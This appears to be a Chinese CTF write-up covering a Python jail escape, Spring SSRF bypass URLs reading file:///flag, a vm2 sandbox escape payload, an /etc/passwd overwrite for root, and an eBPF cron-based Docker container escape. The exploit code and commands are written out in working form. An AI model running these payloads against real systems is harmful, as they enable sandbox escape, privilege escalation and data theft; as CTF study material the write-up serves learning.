本文最后更新于 279 天前,其中的信息可能已经有所发展或是发生改变。
Rank: 10
https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c
https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne
官方WP及其他
Web
intractable problem | 复现
又双叒叕被jail干趴下了
- 沙箱部分,通过添加hook限制审计事件的发生,当满足
p > 1e5 and q > 1e5 and p * q == int("...")
时返回Correct
,即可获得flag
import sys
import os
codes = '''
<<codehere>>
'''
try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)
if "__" in codes:
exit(0)
codes += "\nres=factorization(c)"
locals = {"c": "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863", "__builtins__": None}
res = set()
def blackFunc(oldexit):
def func(event, args):
blackList = [
"process",
"os",
"sys",
"interpreter",
"cpython",
"open",
"compile",
"__new__",
"gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func
code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code, {"__builtins__": None}, locals)
p = int(locals["res"][0])
q = int(locals["res"][1])
if p > 1e5 and q > 1e5 and p * q == int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863"):
print("Correct!", end="")
else:
print("Wrong!", end="")
- 由python官方文档得知
int()
值来自
Return an integer object constructed from a number or string x, or return 0 if no arguments are given. If x defines __int__(), int(x) returns x.__int__(). If x defines __index__(), it returns x.__index__(). If x defines __trunc__(), it returns x.__trunc__(). For floating point numbers, this truncates towards zero.
If x is not a number or if base is given, then x must be a string, bytes, or bytearray instance representing an integer literal in radix base. Optionally, the literal can be preceded by + or - (with no space in between) and surrounded by whitespace. A base-n literal consists of the digits 0 to n-1, with a to z (or A to Z) having values 10 to 35. The default base is 10. The allowed values are 0 and 2–36. Base-2, -8, and -16 literals can be optionally prefixed with 0b/0B, 0o/0O, or 0x/0X, as with integer literals in code. Base 0 means to interpret exactly as a code literal, so that the actual base is 2, 8, 10, or 16, and so that int('010', 0) is not legal, while int('010') is, as well as int('010', 8).
- 尝试定义一个新类,控制
int()
的返回值,但是__builtins__
为None
,并且过滤了__
,这个路子不了了之
- 再者,可以覆盖
int()
函数,替换为自定义的函数,同样达到控制返回值的目的,此时就需要获取到exec
外层的全局变量,要用到生成器(好好好,又是生成器
generator
包含四个属性值
>>> a = (i for i in range(10))
>>> a
<generator object <genexpr> at 0x00000237437F9A10>
>>> dir(a)
['__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__next__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'gi_code', 'gi_frame', 'gi_running', 'gi_yieldfrom', 'send', 'throw']
gi_frame
>>> dir(a.gi_frame)
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'f_back', 'f_builtins', 'f_code', 'f_globals', 'f_lasti', 'f_lineno', 'f_locals', 'f_trace', 'f_trace_lines', 'f_trace_opcodes']
f_back | 下一个外部帧对象(此帧的调用者) |
f_builtins | 此帧所看到的buildins命名空间 |
f_code | 在此帧中执行的代码对象 |
f_globals | 此帧所看到的全局命名空间 |
f_lasti | 在字节码中最后尝试的指令的索引 |
f_lineno | 当前行在Python源代码中的行号 |
f_locals | 此帧所看到的局部命名空间 |
f_trace | 此帧的追踪函数,或“None“ |
- 通过
f_back
获取上一层帧对象,即可跳出exec的执行环境获取到外部的全局变量
factorization = lambda x:("1", "2")
def int(n):
if n == "1":
return 1e6
elif n == "2":
return 1e6
else:
return 1e12
c = [a:=[],a.append([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
d = c[-1][0]["_""_builtins_""_"]
d.setattr(d, "int", int)
写不动了,头晕,直接贴payload了,之后有空再补- 好像也没什么好写的了,就覆盖一下
int()
函数即可
一回来就生病,一年没生病都攒到这两天了,状态一直不好,西湖论剑,Realworld,l3hctf狠狠爆零,这两天顶着39的体温看这题和escape-2,一点儿都出不了
破案了,原来是甲流
short url | pankas
- 重点关注两个路由
@GetMapping({"/test"})
public String test(@RequestParam(required = true) String redirect) {
String url = (String)CacheMap.getInstance().get(redirect);
if (url == null) {
return "url not found";
} else {
UriComponents uri = UriComponentsBuilder.fromUriString(url).build();
String paramUrl = (String)uri.getQueryParams().getFirst("url");
if (paramUrl != null) {
UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build();
String newHost = newUri.getHost();
if (newHost == null || !newHost.equals(this.BaseURL)) {
return "url is invalid";
}
}
return this.Fetch(url);
}
}
@GetMapping({"/private"})
public String privateTest(HttpServletRequest request, @RequestParam(required = true) String url) {
String ip = request.getRemoteAddr();
return !ip.equals("127.0.0.1") ? "not allowed" : this.Fetch(url);
}
- 同时还有一个拦截器
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (!request.getRequestURI().equals("/private") && !request.getRequestURI().equals("/test")) {
return true;
} else {
response.setStatus(418);
return false;
}
}
- 其中,配置为
public void configurePathMatch(PathMatchConfigurer configurer) {
configurer.setUseTrailingSlashMatch(true);
}
- 此时,
/private
与/private/
将被指向同一个路由,使用/private/
即可绕过拦截器 private
路由需要从本地访问,通过ssrf打内网,file协议读取文件即可,通过test
路由访问private
即可;而test
路由中,设置了可访问host
的白名单,此处存在两种绕过方式- 通过url编码参数,令
paramUrl != null
为false
,不进入分支,http://127.0.0.1:8080/private/?%75%72%6c=http://127.0.0.1:8080/private/?url=file:///flag
org.springframework.web.util.UriComponents
可拼接相同参数,http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag
Escape-web | pankas & gtg
格局小了,原来是vm2逃逸,不是docker逃逸
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
- 通过容器挂载output.txt和error.txt读取执行结果,通过软链接读flag
// vm2 https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
function exec(cmd){
obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync(cmd).toString());
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
}
exec("rm -rf /app/output.txt;touch /flag;ln -s /flag /app/output.txt");
Misc
RAWaterMark | cjj
我完全sb了,一心想找个raw的水印,原来是LSB
cjj yyds!!
import rawpy
from Crypto.Util.number import long_to_bytes
with rawpy.imread('image.ARW') as raw:
data = raw.raw_image_visible[0]
data = ''.join([str(i & 1) for i in data])
open("test.zip", "wb").write(long_to_bytes(int(data, 2)))
End_of_Programming | cjj
- 题目描述清楚给chatgpt即可
你讲拿到一个oi题目,请写出完全符合要求的cpp代码,并且能够通过10组数据测试
题目描述
现在我们有a个人只爱吃肉,有b个人坚决不吃肉,也有c个人什么都吃。
食堂只提供m种菜,并且规定每种菜只可以买一次。第i个菜有一个价格Ci,并且有一个字符A或B,表示这是荤菜或是素菜。
现在希望喂饱尽量多的人,也希望在此前提下尽可能地减少花费。请你计算他最多能喂饱多少人,以及至少需要花费多少钱。
输入格式
第一行三个整数a,b,c
接下来一行是一个整数m
接下来m行,每行表示食品的价值和类别,A表示荤菜,B表示素菜。
输出格式
两个数,分别表示能够喂饱的人数量以及花费的总价值。
样例 #1
样例输入 #1
2 1 1
4
5 A
6 B
3 B
7 B
样例输出 #1
3 14
其中,对于10%的数据a = b = 0,30%的数据1<=a,b,c<=100,1<=m<=100,全部数据1<=a,b,c<=100000,1<=m<=300000,所有的Ci <= 100000000,请让你的代码能够处理这些范围的数据,一共需要通过十组数据,请给出完整代码并将代码用```围起来后输出,代码中a,b,c,m请改成long类型
Escape-2 | 复现
- 先提权
find . -exec /bin/bash -p \; -quit
echo cm9vdDo6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi9ydW4vaXJjZDovdXNyL3NiaW4vbm9sb2dpbgpnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTAwOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwMTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmN0Zjp4OjY2Njo2NjY6Oi9ob21lL2N0ZjovYmluL2Jhc2g=|base64 -d >/etc/passwd
su root
- mount看看挂载
root@2502a78d0b29:/home/ctf# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/EUIU2GNIJ627BGCR2BG4UUK7EQ:/var/lib/docker/overlay2/l/CFKOGBCJQ25T7U4BGZAWVCKYQC:/var/lib/docker/overlay2/l/CT74IXSXL3PJO327KUO2PFJSVE:/var/lib/docker/overlay2/l/RLO7SRNMDO5SLTGSUIA5LJW3KD:/var/lib/docker/overlay2/l/C5XASZ7MWSW7OJ6PYE4DZVRR4V:/var/lib/docker/overlay2/l/ZS6TRTQLYTDMCYGFB7I66IUT7R,upperdir=/var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/diff,workdir=/var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
tracefs on /sys/kernel/debug/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
/proc/self/status
root@2502a78d0b29:/home/ctf# cat /proc/self/status | grep CapPrm
CapPrm: 00000000a82425fb
capsh --decode=00000000a82425fb
$ capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
- 太菜了,根本看不出明示
https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c
和默认的相比,多了cap_sys_admin
,其实有 cap_sys_admin 就可以试试去挂载 cgroup 或者 sysfs了,但这个因为有 apparmor 的限制,所以实际上还是不能挂载,那么还是考虑 cap_sys_admin 和 /sys/kernel/debug 两个共同使用会比较好,基本就是在明示用 ebpf 了。
- 找了几个现成的exp
https://github.com/TomAPU/bpfcronescape一把梭
https://github.com/CrackerCat/Eebpf-kit比上一个旧了点儿,还是动态链接,实际打的时候会出问题
- 改一下
backdoor.bpf.c
的PAYLOAD
char PAYLOAD[]="* * * * * root /bin/bash -c \"cat /flag >> /var/lib/docker/overlay2/6d6f795f43f2f85ec7b10b29f7fef65ef63e04612ff0469d82e5a8469d2cc8a3/diff/tmp/flag\" \n#";
- 编译
apt install clang libelf1 libelf-dev zlib1g-dev gcc pkg-config
chmod +x tools/bpftool
cd code
make
- 参考链接
https://security.tencent.com/index.php/blog/msg/206
https://drivertom.blogspot.com/2022/01/ebpfdocker.html
https://zhuanlan.zhihu.com/p/466319667
ebpf escape